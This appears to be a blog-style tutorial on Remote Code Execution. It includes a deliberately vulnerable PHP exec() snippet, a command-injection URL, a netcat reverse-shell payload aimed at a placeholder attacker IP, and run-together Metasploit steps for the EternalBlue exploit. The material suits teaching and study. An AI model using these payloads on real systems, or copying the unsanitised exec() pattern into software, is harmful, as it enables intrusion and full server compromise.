Remote Code Execution (RCE): An In-Depth Guide with practical

Remote Code Execution (RCE) is a type of attack where an attacker can remotely execute arbitrary code on a target machine or device. RCE vulnerabilities are among the most critical as they can lead to complete system compromise, allowing attackers to perform any action the system permits.

Remote Code Execution occurs when an attacker exploits a vulnerability in a system or application that allows them to run arbitrary commands or code remotely. This usually happens due to poor validation or improper handling of user input. For example, web applications vulnerable to RCE may allow attackers to insert commands through forms, URLs, or API endpoints, which the system inadvertently executes.

The RCE attack process generally involves:

Identifying Vulnerabilities: Attackers scan systems and applications to find potential RCE vulnerabilities, often exploiting unvalidated input fields, outdated software, or misconfigurations.Injecting Malicious Payloads: By inserting commands or code in fields like URL parameters, headers, or form inputs, attackers exploit the vulnerability to run their code on the remote machine.Gaining Control: Successful RCE allows attackers to control the system, potentially accessing sensitive data, installing malware, or using the system to attack others.

Let’s look at an example scenario to understand how RCE can occur in practice.

Consider a web application running on PHP that accepts a username as a parameter in the URL to display a welcome message. If the application is vulnerable, an attacker can manipulate the input and execute commands on the server.

1. Identify the Vulnerability

Suppose the application URL accepts a parameter like this:

http://example.com/welcome.php?name=John

If the application code directly includes this input in an exec() function without validation:

<?php
$name = $_GET['name'];
exec("echo Welcome $name");
?>

This code would take any input from the name parameter and run it as part of a command on the server.

2. Inject a Malicious Payload

An attacker could enter a URL like this:

http://example.com/welcome.php?name=John;whoami

The server would interpret this as two commands:

echo Welcome John
whoami

Here, whoami will be executed on the server, potentially revealing the server’s username. This is a basic example, but more sophisticated payloads could be injected to gain deeper access.

3. Establish Control with Reverse Shell

Attackers can then leverage this vulnerability to open a reverse shell by injecting code like:

http://example.com/welcome.php?name=John;nc -e /bin/bash attacker_ip 4444

This payload would start a Netcat connection to the attacker’s IP address, giving them a command-line interface on the server.

Suppose an organization has a vulnerable Windows server with an unpatched version of SMB (Server Message Block) susceptible to the EternalBlue exploit.

Setup Metasploit and Search for Exploitmsfconsole search eternalblueLoad the Exploituse exploit/windows/smb/ms17_010_eternalblueConfigure Optionsset RHOST <target_ip> set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST <attacker_ip>Run the Exploitexploit

If successful, Metasploit would create a meterpreter session with remote access to the target server, allowing the attacker to execute commands.